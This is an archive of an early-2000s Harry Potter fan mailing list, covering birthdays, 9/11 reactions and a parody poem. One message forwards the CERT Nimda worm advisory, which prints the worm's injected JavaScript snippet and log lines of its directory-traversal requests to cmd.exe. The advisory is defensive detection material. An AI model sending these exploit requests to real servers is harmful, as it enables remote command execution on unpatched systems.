http://www.the-tabula-rasa.com
Updated 9/03/01

"Make me sad, make me mad, make me feel alright?"
- Serial Experiments Lain



_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From meboriqua at aol.com  Tue Sep 18 18:23:33 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Tue, 18 Sep 2001 18:23:33 -0000
Subject: Happy New Year
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2CC8@MIAEXCH1>
Message-ID: <9o83f5+7gnj@eGroups.com>

--- In HPFGU-OTChatter at y..., "Tandy, Heidi" <heidit at n...> wrote:

> Wishing all who celebrate it a L'Shana Tova - and may everyone have 
a sweet year.>

Thank you, the same to you and shalom to all this year - we sure need 
to keep hoping for it!

--jenny from ravenclaw, whose hebrew name is yaffa ***************




From Alyeskakc at aol.com  Tue Sep 18 21:13:35 2001
From: Alyeskakc at aol.com (Kristin)
Date: Tue, 18 Sep 2001 21:13:35 -0000
Subject: A very happy birthday to Trina
In-Reply-To: <9o7899+91mv@eGroups.com>
Message-ID: <9o8ddv+fc54@eGroups.com>

Happy Birthday Trina! Hope it's a good one! :)

Kristin




From Alyeskakc at aol.com  Tue Sep 18 21:18:54 2001
From: Alyeskakc at aol.com (Kristin)
Date: Tue, 18 Sep 2001 21:18:54 -0000
Subject: Happy New Year
In-Reply-To: <9o83f5+7gnj@eGroups.com>
Message-ID: <9o8dnu+as71@eGroups.com>

 --- In HPFGU-OTChatter at y..., "Tandy, Heidi" <heidit at n...> wrote:

> Wishing all who celebrate it a L'Shana Tova - and may everyone have 
> a sweet year.


Here's wishing all our Jewish friends on the list and across the 
world a Happy New Year. Hopefully peace, truth, and freedom for all 
will prevail over lies, hate, and senseless violence. 

Peace,
      Kristin




From triner918 at aol.com  Tue Sep 18 23:40:51 2001
From: triner918 at aol.com (Trina)
Date: Tue, 18 Sep 2001 23:40:51 -0000
Subject: Thanks!
Message-ID: <9o8m23+a3a0@eGroups.com>

Thanks for all the birthday wishes!

My parents came to town and brought my Mamaw Ruby and took me out to 
dinner.  So now I am very full of pasta and pecan pie.  (I was not 
given the opportunity to say "Waiter there is too much pepper in my 
paprikash, but I would be part to partake of your pecan pie." Ten 
points to your house if you identify the quote.)  They had stopped at 
the farmers' market in Asheville and bought tomatoes, sweet potatoes, 
and a very large grapes and shared them with me.  

A funny school story to tell:  Yesterday I was working with two of my 
2nd graders on their sounds.  I asked one of them to put 'raisin' in 
a sentence.  This was what he said.  "Ms. Gabbard is plump and 
wrinkled like a raisin."  !!!  LOL

Trina




From john at walton.to  Wed Sep 19 00:30:30 2001
From: john at walton.to (John Walton)
Date: Tue, 18 Sep 2001 20:30:30 -0400
Subject: The Binch (extended)
Message-ID: <B7CD5F66.1E7D%john@walton.to>

As nice and uplifting as Rachel's "The Binch" was, I do think it left out
some things -- we DO know why "the Binch" hated the U's, but I have omitted
that part of my "Extended Binch" as the reasons seem to be causing offence
to some people. Here is the response of some U's and S's to the Binch.

The Binch (extended)

But the Binch's attacks were not done, not one bit.
The results of his murders then finally hit.
In places -- not all, folks, but certainly some --
In U-ville the hatred was not really done.
They said that the left-U's and pagans and gays
Were at fault for the Binch's attacks on their ways:

"Them Ay-rabs and Moz-lems and immigrants too!
The Binch is all THEIR fault, now what can we do?
Let's kill them and take away all of their rights
So we can bomb Afghans and start NEW Binch fights!"

The sensible S's and U's were in shock --
How DARE these new Binches spew such poppycock?
Such racists, such lies, oh, such bigoted hate!
The sensible U-S rejected that bait.

But some U's and some S's believed the new Binches
And they couldn't tell brown U's apart, not two inches!
Some brown U's were beaten, their homes were attacked,
Their businesses torched, blown in fact.

The brown U's and S's, they cowered in fright.
It was not their actions, they'd not hijacked one flight!
Some Muslim, some Sikh U's and S's were shot.
White U's thought they were Binches -- but they really were not.

The U-Binches' followers thought that they were right
But the sane U's and S's despised this new blight.




From lrcjestes at earthlink.net  Wed Sep 19 00:03:29 2001
From: lrcjestes at earthlink.net (Carole Estes)
Date: Tue, 18 Sep 2001 20:03:29 -0400
Subject: [HPFGU-OTChatter] Thanks!
References: <9o8m23+a3a0@eGroups.com>
Message-ID: <017201c1409e$84496ee0$5953d63f@oemcomputer>


----- Original Message -----
From: "Trina" <triner918 at aol.com>

> Thanks for all the birthday wishes!
>
> My parents came to town and brought my Mamaw Ruby and took me out to
> dinner.  So now I am very full of pasta and pecan pie.  (I was not
> given the opportunity to say "Waiter there is too much pepper in my
> paprikash, but I would be part to partake of your pecan pie." Ten
> points to your house if you identify the quote.)  They had stopped at
> the farmers' market in Asheville and bought tomatoes, sweet potatoes,
> and a very large grapes and shared them with me.
>

HA!  Did I beat Penny to this one?  Its from "When Harry Met Sally"  When
they are going to the museum together.

carole

PS Happy Birthday Trina.





From john at walton.to  Wed Sep 19 01:04:57 2001
From: john at walton.to (John Walton)
Date: Tue, 18 Sep 2001 21:04:57 -0400
Subject: [HPFGU-OTChatter] A very happy birthday to Trina
In-Reply-To: <F122f8Wa1CHS5JDPzSq00010beb@hotmail.com>
Message-ID: <B7CD6779.1E8B%john@walton.to>

A very happy birthday with many happy returns to Trina, a fellow Virgo.
::enormous schnoogle:: Hope you have/had a good one.

--John
________________________________

John Walton -- john at walton.to

     We shall overcome. We shall overcome.
     We shall overcome someday.
     Deep in my heart, I do believe
     We shall overcome someday.

September 11th, 2001.
________________________________




From john at walton.to  Wed Sep 19 02:09:07 2001
From: john at walton.to (John Walton)
Date: Tue, 18 Sep 2001 22:09:07 -0400
Subject: ADMIN: URGENT Virus Warning: Nimda Worm
Message-ID: <B7CD7683.1EA0%john@walton.to>

URGENT VIRUS WARNING -- verified by a number of sources -- NIMDA worm

Hi all.

I've discovered what may have been behind the Yahoo slowdown recently -- the
Nimda worm. It's very dangerous...

In the long and the short of it, DON'T OPEN ANY EMAIL ATTACHMENTS,
especially any entitled "readme.exe".

Here's the CERT advisory --


CERT Advisory CA-2001-26 Nimda Worm

   Original release date: September 18, 2001
   Source: CERT/CC

   A complete revision history is at the end of this file.

Systems Affected

     * Systems running Microsoft Windows 95, 98, ME, NT, and 2000

Overview

   The  CERT/CC  has  received reports of new malicious code known as the
   "W32/Nimda  worm"  or  the  "Concept  Virus  (CV)  v.5." This new worm
   appears to spread by multiple mechanisms:

     * from client to client via email

     * from client to client via open network shares

     * from web server to client via browsing of compromised web sites

     * from client to web server via active scanning for and exploitation
       of the "Microsoft IIS 4.0 / 5.0 directory traversal" vulnerability
       (VU #111677)

     * from  client  to  web  server via scanning for the back doors left
       behind  by  the  "Code  Red  II"  (IN-2001-09),  and "sadmind/IIS"
       (CA-2001-11) worms

   Initial  analysis  indicates  that  the  worm  contains no destructive
   payload  beyond  modification  of  web  content  to facilitate its own
   propagation.

   We  are  also  receiving  reports  of denial of service as a result of
   network scanning and email propagation.

I. Description

   The  Nimda  worm  has  the  potential to affect both user workstations
   (clients)  running Windows 95, 98, ME, NT, or 2000 and servers running
   Windows NT and 2000.

   Email Propagation

   This    worm   propagates   through   email   arriving   as   a   MIME
   "multipart/alternative"  message consisting of two sections. The first
   section  is defined as MIME type "text/html", but it contains no text,
   so the email appears to have no content. The second section is defined
   as   MIME   type  "audio/x-wav",  but  it  contains  a  base64-encoded
   attachment named "readme.exe", which is a binary executable.

   Due to a vulnerability described in CA-2001-06 (Automatic Execution of
   Embedded  MIME  Types),  any  mail software running on an x86 platform
   that  uses  Microsoft  Internet Explorer 5.5 SP1 or earlier (except IE
   5.01  SP2)  to  render  the  HTML mail automatically runs the enclosed
   attachment and, as result, infects the machine with the worm. Thus, in
   vulnerable  configurations,  the  worm  payload  will automatically be
   triggered  by  simply opening (or previewing) this mail message. As an
   executable binary, the payload can also be triggered by simply running
   the attachment.

   The  email  message delivering the Nimda worm appears to also have the
   following characteristics:

     * The  text  in  the  subject line of the mail message appears to be
       variable,  but  those  seen  to  date have been over 80 characters
       long.

     * There  appear  to  be  many slight variations in the attach binary
       file,  causing  the MD5 checksum to be different when one compares
       different  attachments from different email messages. However, the
       file  length  of  the  attachment appears to consistently be 57344
       bytes.

   Payload

   Infected  client machines attempt to send copies of the Nimda worm via
   email to all addresses found in the Windows address book.

   Likewise,  the  client  machines  begin  scanning  for  vulnerable IIS
   servers.  Nimda  looks  for backdoors left by previous IIS worms: Code
   Red  II  [IN-2001-09]  and  sadmind/IIS  worm  [CA-2001-11].  It  also
   attempts  to  exploit  the  IIS  Directory Traversal vulnerability (VU
   #111677). The selection of potential target IP addresses follows these
   rough probabilities:

     * 50% of the time, an address with the same first two octets will be
       chosen

     * 25%  of  the  time,  an  address with the same first octet will be
       chosen

     * 25% of the time, a random address will be chosen

   The  infected client machine transfers a copy of the Nimda code to any
   server  that  it scans and finds to be vulnerable. Once running on the
   server  machine,  the  worm  traverses  each  directory  in the system
   (including  all  those  accessible  through a file shares) and write a
   copy  of  itself to disk using the name "README.EML". When a directory
   containing  web  content  (e.g.,  HTML  or  ASP  files)  is found, the
   following snippet of Javascript code is appended to every one of these
   web-related files:

   <script language="JavaScript">
   window.open("readme.eml", null, "resizable=no,top=6000,left=6000")
   </script>

   This  modification  of  web  content allows further propagation of the
   worm  to  new  clients through a browser or browsing of a network file
   system.

   Browser Propagation

   As  part  of  the  infection  process, the Nimda worm modifies all web
   content  files  it  finds  (including,  but not limited to, files with
   .htm,  .html, and .asp extensions). As a result, any user browsing web
   content  on  the  system,  whether  via  the  file system or via a web
   server,   may   download  a  copy  of  the  worm.  Some  browsers  may
   automatically  execute  the  downloaded  copy,  thereby  infecting the
   browsing system.

   File System Propagation

   The  Nimda  worm  creates  numerous  copies  of itself (using the name
   README.EML)  in  all  writable directories (including those found on a
   network  share)  to  which  the  user has access. If a user on another
   system  subsequently  selects  the copy of the worm file on the shared
   network drive in Windows Explorer with the preview option enabled, the
   worm may be able to compromise that system.

   System FootPrint

   The  scanning  activity  of  the Nimda worm produces the following log
   entries for any web server listing on port 80/tcp:

   GET /scripts/root.exe?/c+dir
   GET /MSADC/root.exe?/c+dir
   GET /c/winnt/system32/cmd.exe?/c+dir
   GET /d/winnt/system32/cmd.exe?/c+dir
   GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
   GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
   GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
   GET 
/msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c../winnt/sy
stem32/cmd.exe?/c+dir
   GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
   GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir
   GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir
   GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir
   GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
   GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
   GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
   GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir

   Note:  The  first four entries in these sample logs denote attempts to
   connect  to  the backdoor left by Code Red II, while the remaining log
   entries  are  examples of exploit attempts for the Directory Traversal
   vulnerability.

II. Impact

   Intruders  can  execute  arbitrary  commands  within  the  LocalSystem
   security  context  on  machines running the unpatched versions of IIS.
   Host  that have been compromised are also at high risk for being party
   to attacks on other Internet sites.

   The  high  scanning  rate  of  the Nimda worm may also cause bandwidth
   denial-of-service conditions on networks with infected machines.

III. Solutions

   Recommendations for System Administrators of IIS machines

   To  determine  if  your  system  has  been  compromised,  look for the
   following:

     * root.exe  artifact  (indicates  a  compromise  by  Code  Red II or
       sadmind/IIS worms making the system vulnerable to the Nimda worm)

     * admin.dll  artifact  or  unexpected  .eml files in the directories
       with web content (indicates compromise by the Nimda worm)

   The  only  safe way to recover from the system compromise is to format
   the  system  drive(s)  and  reinstall the system software from trusted
   media  (such  as  vendor-supplied  CD-ROM).  Additionally,  after  the
   software  is reinstalled, all vendor-supplied security patches must be
   applied.  The  recommended  time to do this is while the system is not
   connected  to  any  network.  However,  if sufficient care is taken to
   disable   all  server  network  services,  then  the  patches  can  be
   downloaded from the Internet.

   Detailed  instructions  for recovering your system can be found in the
   CERT/CC tech tip:

          Steps for Recovering from a UNIX or NT System Compromise
          http://www.cert.org/tech_tips/win-UNIX-system_compromise.html

   Apply the appropriate patch from your vendor

   A   cumulative   patch   which   addresses   all  of  the  IIS-related
   vulnerabilities   exploited  by  the  Nimda  worm  is  available  from
   Microsoft at

          http://www.microsoft.com/technet/security/bulletin/MS01-044.asp

   Recommendations for End User Systems

   Apply the appropriate patch from your vendor

   If you are running a vulnerable version of Internet Explorer (IE), the
   CERT/CC  recommends  applying  patch  for  the "Automatic Execution of
   Embedded MIME Types" vulnerability available from Microsoft at

          http://www.microsoft.com/technet/security/bulletin/MS01-020.asp

   Run and Maintain an Anti-Virus Product

   It  is  important  for users to update their anti-virus software. Most
   anti-virus  software vendors have released updated information, tools,
   or  virus  databases  to  help  detect and partially recover from this
   malicious  code.  A list of vendor-specific anti-virus information can
   be found in Appendix A.

   Many   anti-virus   packages   support   automatic  updates  of  virus
   definitions.   We   recommend   using  these  automatic  updates  when
   available.

   Don't open e-mail attachments

   The  Nimda  worm may arrive as an email attachment named "readme.exe".
   Users should not open this attachment.

   Disable  JavaScript  End-user  systems  can become infected with the
   Nimda  worm  by  browsing  web  sites hosted by infected servers. This
   method  of  infection requires the use of JavaScript to be successful.
   Therefore,  the  CERT/CC  recommends  that  end  user  systems disable
   JavaScript.

Appendix A. Vendor Information

   Antivirus Vendor Information

   Central Command, Inc.

          http://support.centralcommand.com/cgi-bin/command.cfg/php/endus
          er/std_adp.php?p_refno=010918-000005

   Command Software Systems

          http://www.commandsoftware.com/virus/nimda.html

   Data Fellows Corp

          http://www.datafellows.com/v-descs/nimda.shtml

   McAfee

          http://vil.mcafee.com/dispVirus.asp?virus_k=99209&

   Sophos

          http://www.sophos.com/virusinfo/analyses/w32nimdaa.html

   Symantec

          http://www.symantec.com/avcenter/venc/data/w32.nimda.a at mm.html

   Trend Micro

          http://www.antivirus.com/vinfo/virusencyclo/default5.asp?VName=
          TROJ_NIMDA.A

          http://www.antivirus.com/pc-cillin/vinfo/virusencyclo/default5.
          asp?VName=TROJ_NIMDA.A

   You  may  wish  to  visit  the CERT/CC's computer virus resources page
   located at 
   
     http://www.cert.org/other_sources/viruses.html

References

   Authors:   Roman  Danyliw,  Chad  Dougherty,  Allen Householder, Robin
   Ruefle
   ______________________________________________________________________

   This document is available from:
   http://www.cert.org/body/advisories/CA200126_FA200126.html
   ______________________________________________________________________

CERT/CC Contact Information

   Email: cert at cert.org
          Phone: +1 412-268-7090 (24-hour hotline)
          Fax: +1 412-268-6989
          Postal address:
          CERT Coordination Center
          Software Engineering Institute
          Carnegie Mellon University
          Pittsburgh PA 15213-3890
          U.S.A.

   CERT  personnel answer the hotline 08:00-20:00 EST(GMT-5) / EDT(GMT-4)
   Monday  through  Friday; they are on call for emergencies during other
   hours, on U.S. holidays, and on weekends.

Using encryption

   We  strongly  urge you to encrypt sensitive information sent by email.
   Our public PGP key is available from

   http://www.cert.org/CERT_PGP.key

   If  you  prefer  to  use  DES,  please  call the CERT hotline for more
   information.

Getting security information

   CERT  publications  and  other security information are available from
   our web site

   http://www.cert.org/

   To  be  added  to  our mailing list for advisories and bulletins, send
   email   to   cert-advisory-request at cert.org   and   include  SUBSCRIBE
   your-email-address in the subject of your message.

   *  "CERT"  and  "CERT  Coordination Center" are registered in the U.S.
   Patent and Trademark Office.
   ______________________________________________________________________

   NO WARRANTY
   Any  material furnished by Carnegie Mellon University and the Software
   Engineering  Institute  is  furnished  on  an  "as is" basis. Carnegie
   Mellon University makes no warranties of any kind, either expressed or
   implied  as  to  any matter including, but not limited to, warranty of
   fitness  for  a  particular purpose or merchantability, exclusivity or
   results  obtained from use of the material. Carnegie Mellon University
   does  not  make  any warranty of any kind with respect to freedom from
   patent, trademark, or copyright infringement.
     _________________________________________________________________

   Conditions for use, disclaimers, and sponsorship information

   Copyright 2001 Carnegie Mellon University.

   Revision History

   September 18, 2001: Initial Release




From klaatu at primenet.com  Wed Sep 19 02:20:35 2001
From: klaatu at primenet.com (Sister Mary Lunatic)
Date: Tue, 18 Sep 2001 19:20:35 -0700
Subject: A Trelawney Moment...
Message-ID: <MABBJPGEHBDBAKHGIBPOAEFIEGAA.klaatu@primenet.com>

Is there any evidence, anywhere, that ANY public psychic accurately
predicted the WTC/Pentagon/PA disasters before they happened?  You always
see people claiming AFTERWARDS that they predicted some event, but is there
a list that was generated at the beginning of 2001, that hasn't been altered
since Sept 11?  I've done a couple of google.com searches but haven't come
up with anything yet.

I'd love to believe in psychic powers, but I don't see any convincing
evidence that it's anything more than a "lucky" guess when a prediction
comes true.  It's discouraging to me, because I do so want to believe in
Magic....

SML


==================================
Inside every older person
is a younger person -
wondering what the hell happened.
==================================






From catlady at wicca.net  Wed Sep 19 05:35:49 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Wed, 19 Sep 2001 05:35:49 -0000
Subject: Happy Birthday - Happy New Year - Expensive Cat 
Message-ID: <9o9arl+crqg@eGroups.com>

A belated Salute to Trina's Birthday! I'm glad it was happy, even 
tho' it will be tomorrow by now where most of you-uns are.

L'shanah tovah: both Rosh Hashanah and Autumn Equinox are good times 
to start a new year, especially now when we don't want this old 
year anymore.

My cat Elway (one of four) went to the hospital on Monday the 10th. 
He had anemia and dehydration and blood pressure so low it 
couldn't be measured and a cut on one leg that I couldn't figure 
out how he got overnight and an abscess on a toe of another leg 
that I hadn't even noticed, and I think there was more that I don't 
remember. They gave him blood transfusion, antibiotics, stapled and 
bandaged the cut because they couldn't give him stitches because he 
wasn't healthy enough for sedation and I forget what else, but it has 
cost me over $1300 so far. We got him back on Friday the 14th, 
with a follow-up visit on Sunday the 16th, and another next weekend, 
and the good news is he's in much better shape now. He's curled up 
asleep on my feet (which are joining him in sleep *OUCH*) right now.




From Schlobin at aol.com  Wed Sep 19 05:37:07 2001
From: Schlobin at aol.com (Schlobin at aol.com)
Date: Wed, 19 Sep 2001 05:37:07 -0000
Subject: DEs; Muslims; usa
In-Reply-To: <9o5agm+gku5@eGroups.com>
Message-ID: <9o9au3+sfco@eGroups.com>

Dear wonderful friends on the HP list...

I finally was able to get Vanity Fair..what wonderful pictures!

I'm always controversial...

When I hear people who want to suspend civil liberties in the U.S.
to get the terrorists...

I think about Barty Crouch, Senior and his attitude towards 
Voldemort...Sirius's statement to our trio about how Barty got 
powers to kill without trial, use the forbidden curses, send people 
to Azkaban without trial....
As I mourn for my own countrymen and women..I keep thinking about
the people who have fled here, and who may have immigration problems, 
and how the INS can hold people in prison, indefinitely, if they are 
not U.S. citizens..how they have no rights.
How people are calling for the destruction of Afghanistan in order to 
get Bin Laden..and all the people of Afghanistan whose lives have 
been ruined by the Taliban, and who have no say about whether Bin 
Laden will be "given up"...

Lots of analogies to the war against Voldemort....

Susan






From s_ings at yahoo.com  Wed Sep 19 09:37:44 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Wed, 19 Sep 2001 02:37:44 -0700 (PDT)
Subject: [HPFGU-OTChatter] Happy New Year
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2CC8@MIAEXCH1>
Message-ID: <20010919093744.40376.qmail@web14603.mail.yahoo.com>


--- "Tandy, Heidi" <heidit at netbox.com> wrote:
> Wishing all who celebrate it a L'Shana Tova - and
> may everyone have a sweet
> year.
>  
Wishing peace and happiness to all in the coming year.

Sheryll, as always, behind her mail

=====
"We need to be united and strong. We'll have losses and scares, sure. And you'll be there for each other, helping each other through the bad times."
 blpurdom - Harry Potter and the Psychic Serpent, Chapter 26

__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From pbnesbit at msn.com  Wed Sep 19 10:51:57 2001
From: pbnesbit at msn.com (pbnesbit at msn.com)
Date: Wed, 19 Sep 2001 10:51:57 -0000
Subject: Birthday wishes (Belated)
Message-ID: <9o9tcd+i84m@eGroups.com>

Hi everyone, 

Belated birthday wishes to John and Trina.  I hope they were happy, 
despite recent events.  

Peace & Plenty, 

Parker (still trying to catch up with e-mail)


'My country is the world and my religion is to do good.'--Thomas Paine




From aiz24 at hotmail.com  Wed Sep 19 10:56:09 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Wed, 19 Sep 2001 10:56:09 -0000
Subject: Happy birthday, Hermione!
Message-ID: <9o9tk9+i440@eGroups.com>

Today, September 19, is the birthday of Hermione Granger, one of the 
cleverest witches ever to cross the Hogwarts threshhold.  Hermione is 
either 21 or 22 today--see the thread beginning with 20684 on the main 
list, or the FAQ devoted to her, 
http://www.i2k.com/~svderark/lexicon/faq/hermione.html, to decide 
which.

Donations to S.P.E.W. are requested in lieu of gifts.

Here's to you, Hermione!
Amy Z




From blpurdom at yahoo.com  Wed Sep 19 11:01:50 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Wed, 19 Sep 2001 11:01:50 -0000
Subject: Psychic Serpent Sequel
Message-ID: <9o9tuu+sf8u@eGroups.com>

The sequel to Harry Potter and the Psychic Serpent is now up at 
schnoogle.com!

Announcing...

Harry Potter and the Time of Good Intentions
(or: The Last Temptation of Harry Potter)

During his fifth year, Trelawney did a Tarot reading for Harry. She 
told him he would have to make a choice that could "change the world 
as we know it." At the beginning of his sixth year, Harry chooses, 
and the world does change. Does it change for the better? If
he wants, can Harry change it back? Or is giving Harry exactly what 
he wants Voldemort's ultimate revenge?

Go here to read Chapter 1: Sowing the Seeds

http://www.schnoogle.com/authors/barb/TOGI01.html

Warning: If you have not read Psychic Serpent, you might be rather 
confused by the sequel.

To catch up on the Psychic Serpent world, go here:
http://www.schnoogle.com/authors/barb/

--Barb

Get Psyched Out!

http://groups.yahoo.com/group/HP_Psych





From bray.262 at osu.edu  Wed Sep 19 08:10:58 2001
From: bray.262 at osu.edu (Rachel Bray)
Date: Wed, 19 Sep 2001 08:10:58 EST5EDT
Subject: John's addition to The Binch
Message-ID: <1177EC2136@lincoln.treasurer.ohio-state.edu>

Wow!  What a great addition!  I forward it to my friend 
that sent me The Binch and we've added it to the original 
for our Journals.

Good job!

Rachel Bray
The Ohio State University
Fees, Deposits and Disbursements

For America means a bit more than tall towers, 
It means more than wealth or political powers, 
It's more than our enemies ever could guess, 
So may God bless America! Bless us! God bless! 



From meboriqua at aol.com  Wed Sep 19 13:29:47 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Wed, 19 Sep 2001 13:29:47 -0000
Subject: A Trelawney Moment...
In-Reply-To: <MABBJPGEHBDBAKHGIBPOAEFIEGAA.klaatu@primenet.com>
Message-ID: <9oa6kb+jl4v@eGroups.com>

--- In HPFGU-OTChatter at y..., "Sister Mary Lunatic" <klaatu at p...> 
wrote:

> Is there any evidence, anywhere, that ANY public psychic accurately
> predicted the WTC/Pentagon/PA disasters before they happened?  You 
always see people claiming AFTERWARDS that they predicted some event, 
but is there a list that was generated at the beginning of 2001, that 
hasn't been altered since Sept 11?>

Hmmm, does anyone know anything about Nostradamus?  I remember 
watching a special about him when I was a kid and it terrified me.

--jenny from ravenclaw*****************************************




From meboriqua at aol.com  Wed Sep 19 13:37:59 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Wed, 19 Sep 2001 13:37:59 -0000
Subject: Happy birthday, Hermione!
In-Reply-To: <9o9tk9+i440@eGroups.com>
Message-ID: <9oa73n+vk4m@eGroups.com>

--- In HPFGU-OTChatter at y..., "Amy Z" <aiz24 at h...> wrote:

> Today, September 19, is the birthday of Hermione Granger, one of the 
> cleverest witches ever to cross the Hogwarts threshhold.  Hermione 
is  either 21 or 22 today
> 
> Donations to S.P.E.W. are requested in lieu of gifts.>

I am a proud badge wearing member of S.P.E.W.  Happy Birthday 
Hermione!  Keep studying hard and being the best witch out there!

--jenny from ravenclaw ********************************************




From blpurdom at yahoo.com  Wed Sep 19 18:34:38 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Wed, 19 Sep 2001 18:34:38 -0000
Subject: No subject
Message-ID: <9oaofu+pmk2@eGroups.com>

I received this from a friend and thought it might lift some other 
folks' spirits.  Perhaps artists have a duty to carry on at times 
like this as much as doctors, nurses, police and firefighters.  I 
have a dear friend who is a fabulous painter whose father worked on 
Wall Street; he has been missing since last Tuesday.  She is up in 
Poughkeepsie now with her mom as they try to figure out how to go 
on...I don't think she's ready for a letter like this yet, but I 
doubt that she will abandon her painting in the aftermath of even a 
tragedy like this.  I pray that her father will be found and they her 
family will find peace.

--Barb

For those who may not know David Sabella, he is a very gifted 
Broadway performer and the author of this letter.  This was forwarded 
to me by another fellow artist and has helped me deal with this 
nightmare so I thought I would share it all with you. 

> Date sent:          Fri, 14 Sep 2001 00:47:54 -0500 
> 
> Dear Guardians, 
> 
> Today I was supposed to start the fall semester, teaching vocal 
> technique at NYU/CAP21. I woke up around eight, started the coffee, 
> walked the dogs, showered. 
> 
> Then all hell broke loose. 
> 
> We all watched in horror as our country was shaken to its core. 
> 
> School was canceled, of course. 
> 
> So now I sit here wondering how I will walk into class in the 
> coming days and work on "lovely little musical theater ditties" 
> when our country and the world is still reeling in the aftermath of 
> this tragedy, and will be for a long time to come. 
> 
> Then I was reminded of something my most beloved mentor once said 
> to me. 
> 
> At the end of W.W.II, one of the first types of buildings to be 
> rebuilt in Europe were the theaters. The morale of the people 
> was held at a high premium. A place to congregate and leave behind 
> the tensions and strife of the day was of utmost importance to the 
> fabric of society. At a time of strife what WE do becomes VERY 
> IMPORTANT. We are the morale officers in this crisis. 
> 
> So sing my darlings. Sing your hearts out. Sing on the streets. 
> SING WITH A PURPOSE. Make one person a day smile with your joy 
> and we will win the war. 
> 
> SING, ACT, DANCE, HONE YOUR CRAFT, COMMUNICATE YOUR JOY AND SPREAD 
> THE LIGHT. 
> 
> That's how I plan to get through this. Just thought I would share 
> it with you all. 
> 
> Love and PEACE, 
> David Sabella 





From inviziblegirl at hotmail.com  Wed Sep 19 18:56:54 2001
From: inviziblegirl at hotmail.com (Amber)
Date: Wed, 19 Sep 2001 18:56:54 -0000
Subject: Happy birthday, Hermione!
In-Reply-To: <9o9tk9+i440@eGroups.com>
Message-ID: <9oappm+sm5q@eGroups.com>

--- In HPFGU-OTChatter at y..., "Amy Z" <aiz24 at h...> wrote:
> Today, September 19, is the birthday of Hermione Granger, one of  
> the cleverest witches ever to cross the Hogwarts threshhold.  
> 
> Donations to S.P.E.W. are requested in lieu of gifts.

Mwah! *hugs fictional Hermione* Happy Birthday to the best Harry 
Potter character in the books! *ducks flying bubotuber pus from other 
list members* Well, she is!

Here's hoping that Harry and Ron *finally* get the poor girl a 
birthday present!

~Amber

--------
"Make me sad, make me mad, make me feel alright?"
 - Serial Experiments Lain





From macloudt at yahoo.co.uk  Wed Sep 19 21:37:33 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Wed, 19 Sep 2001 21:37:33 -0000
Subject: A Trelawney Moment...
In-Reply-To: <9oa6kb+jl4v@eGroups.com>
Message-ID: <9ob36t+qnga@eGroups.com>

> 
> Hmmm, does anyone know anything about Nostradamus?  I remember 
> watching a special about him when I was a kid and it terrified me.
> 
> --jenny from ravenclaw*****************************************

Jenny, I'm pretty sure it was July of '99 when a British telly 
channel had a Nostradamus night.  Why?  Because according to N's 
faithful followers the world was to come to an end that very day.  
Channel 4 had great fun taking the mickey out of the whole situation, 
encouraging everyone to eat, drink, and be merry, as we'd all be 
space dust in a few hours anyway.  The more serious side of the 
evening showed experts picking apart N's so-called predictions, and 
the conclusion was that once again the wording was so vague that it 
could be interpreted however one likes.  Much like Trelawney herself, 
don't you think?  

Come to think of it, on another board (can't remember which) someone 
mentioned a possible Nostradamus prediction link, but yet again holes 
were blown into this theory.  Sorry I can't provide any details, but 
I just skimmed over that info.

In any case it is indeed interesting that no psychic has come forward 
to claim predictions.  But then doing so is at the very least bad 
taste in far less tragic circumstances.  In this case the individual 
would be tarred and feathered, and rightly so IMHO.

Mary Ann
(who groaned the very minute she first met Trelawney, and hasn't 
stopped groaning since)




From blpurdom at yahoo.com  Wed Sep 19 22:11:13 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Wed, 19 Sep 2001 22:11:13 -0000
Subject: A Trelawney Moment...
In-Reply-To: <9oa6kb+jl4v@eGroups.com>
Message-ID: <9ob561+3kg6@eGroups.com>

--- In HPFGU-OTChatter at y..., meboriqua at a... wrote:
> --- In HPFGU-OTChatter at y..., "Sister Mary Lunatic" <klaatu at p...> 
> wrote:
> 
> > Is there any evidence, anywhere, that ANY public psychic 
accurately predicted the WTC/Pentagon/PA disasters before they 
happened?  You always see people claiming AFTERWARDS that they 
predicted some event, but is there a list that was generated at the 
beginning of 2001, that hasn't been altered since Sept 11?>
> 
> Hmmm, does anyone know anything about Nostradamus?  I remember 
> watching a special about him when I was a kid and it terrified me.

This makes me think of the Nice and Precise Predictions of Agnes 
Nutter, in "Good Omens" by Gaiman and Pratchett.  The silly-sounding 
predictions in Agnes' book were impossible to make out for people who 
didn't have any clue about the technology we have today, or the 
political situations.  The characters were only able to make out what 
the predictions were as they were living them.  

Even if anyone as far back as Nostradamus predicted anything 
acurately, one would never be able to tell until after the fact, 
probably by twisting the original words pretty severely.  And what 
good is figuring it out after the fact?  You could probably take a 
lot of very old (or even more recent) writings and say they were 
predicting this, but what good is that?  

The most frightening thing I saw on television recently was a retired 
airline pilot, shaking and clearly very disturbed by recent events, 
recounting the hijacking training that flight crews had been given 
